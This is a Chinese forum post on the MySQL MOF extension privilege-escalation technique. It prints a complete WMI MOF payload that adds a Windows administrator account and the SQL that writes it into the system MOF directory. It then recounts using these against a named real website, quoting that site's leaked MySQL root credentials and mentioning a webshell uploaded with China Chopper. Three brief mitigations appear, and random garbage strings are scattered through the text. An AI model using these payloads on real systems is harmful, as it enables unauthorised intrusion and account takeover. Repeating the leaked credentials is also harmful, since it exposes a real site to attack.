Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
0 {. B+ y6 R9 C0 ^' ^/ g' ?2 V' Q
5 P+ Q7 |' @- |$ ?1 [) n网上公开的一些利用代码:
, `7 M8 U* m6 Y- j/ \4 D  G
#pragma namespace(“\\\\.\\root\\subscription”)

7 `( ^8 q. @' y; tinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

/ g) y- p4 a/ j


# h6 y  S; X7 c4 a- ]
连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
' s$ l( ~0 a( ~- A: e从上面代码来看得出解决办法：

1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

; r( H  t- b& f, q/ z2、禁止使用”WScript.Shel”组件
( w. J# t' k4 ]/ j/ j2 T) I$ ~
( P4 l' s, T2 n8 f- {- o3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
$ w1 c/ n3 ^2 c; O. Q
5 u2 h4 x/ {$ `) N事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
+ x- }5 X# W5 ^/ G" a- ^
8 o1 i. `" s' j1 d但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容

; e* n0 s6 _) ?; N0 n" e0 W  \- `看懂了后就开始练手吧

0 G& G/ J" [% g6 M& [http://www.webbmw.com/config/config_ucenter.php 一句话 a

6 n; u8 d8 A! W& n1 E* r$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。

于是直接用菜刀开搞

" u4 Y1 ]$ ~( ]* A% `8 N2 K上马先
( p. |6 t" \; y  p& W8 g) d; a
既然有了那些账号 之类的 于是我们就执行吧…….
4 c( c- [; f& J! s
小小的说下
8 r( ^$ H/ q5 t' V
在这里第1次执行未成功        原因未知

; y3 U7 y9 f1 F# f" N& c我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
6 v0 t. {2 f7 y( k5 g
#pragma namespace(“\\\\.\\root\\subscription”)

/ L6 I9 p/ y# V4 S" xinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
0 g# @" Z4 b& e7 _
% E  p/ q; ?1 r$ r9 X我是将文件放到C:\WINDOWS\temp\1.mof
- E7 T) R: l% s8 Q" j" P
7 s9 e7 V3 s) u. ^, D( E! m1 f: q所以我们就改下执行的代码

. y$ F# w6 S/ i9 ]5 uselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;

4 t3 u: R) d' ?; b

& l+ i; ]  }2 M% x% {" H但是 你会发现账号还是没有躺在那里。。

于是我就感觉蛋疼
4 q, o- ]1 p* @+ S( y( i
就去一个一个去执行 但是执行到第2个 mysql时就成功了………


. }# J" D8 D! G  C$ u& E7 x+ s
但是其他库均不成功…
" U; V8 X+ ]4 c, a( p( n# q
( @% p+ P0 Q* C1 X3 k. ~我就很费解呀 到底为什么不成功求大牛解答…

. l# f! V* }( n* K: S​
1 p, k6 O, u5 ^/ l, n" C  Q9 X; h